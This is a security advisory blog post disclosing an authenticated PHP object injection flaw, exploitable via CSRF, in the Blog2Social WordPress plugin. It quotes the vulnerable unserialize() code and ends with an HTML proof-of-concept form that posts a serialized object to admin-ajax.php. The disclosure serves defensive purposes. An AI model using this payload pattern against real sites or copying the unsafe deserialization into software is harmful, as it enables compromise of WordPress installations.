Our Proactive Monitoring Caught an Authenticated PHP Object Injection Vulnerability Being Introduced in to Blog2Social: Social Media Auto Post & Scheduler
One of the ways we help to improve the security of WordPress plugins, not just for our customers of our service, but for everyone using them, is our proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities. Through that we caught an authenticated PHP object injection vulnerability being introduced in to the plugin Blog2Social: Social Media Auto Post & Scheduler, which can also be exploited through cross-site request forgery (CSRF).
The possibility of this vulnerability is also flagged by our Plugin Security Checker, so you can check plugins you use to see if they might have similar issues with that tool.
The function getShipItem() is registered to be accessible to anyone logged in to WordPress through its AJAX functionality:
15 | add_action('wp_ajax_b2s_ship_item', array($this, 'getShipItem')); |
In the new version the following code was added to that:
191 192 | if (isset($_POST['b2sDraftData']) && !empty($_POST['b2sDraftData'])) { $drafts = unserialize(urldecode($_POST['b2sDraftData'])); |
That will pass the value of the POST input “b2sDraftData” through the unserialize() function, which permits PHP object injection to occur.
The are no restrictions on accessing that beyond needing to be logged in, as the only check done before that code can runs is that two POST inputs have an integer value of more than 0:
66 67 | public function getShipItem() { if (isset($_POST['postId']) && (int) $_POST['postId'] > 0 && isset($_POST['networkAuthId']) && (int) $_POST['networkAuthId'] > 0) { |
Since there isn’t a nonce check to prevent cross-site request forgery (CSRF), the vulnerability could also be exploited by causing a logged user to access a page the attacker controls.
Full Disclosure
Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).
Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:
Is It Fixed?
If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.
Proof of Concept
With our plugin for testing for PHP object injection installed and activated, the following proof of concept will cause the message “PHP object injection has occurred.” be shown, when logged in to WordPress.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=b2s_ship_item" method="POST"> <input type="hidden" name="postId" value="1" /> <input type="hidden" name="networkAuthId" value="2" /> <input type="hidden" name="b2sDraftData" value="O%3A20%3A%22php_object_injection%22%3A0%3A%7B%7D" /> <input type="submit" value="Submit request" /> </form> </body> </html>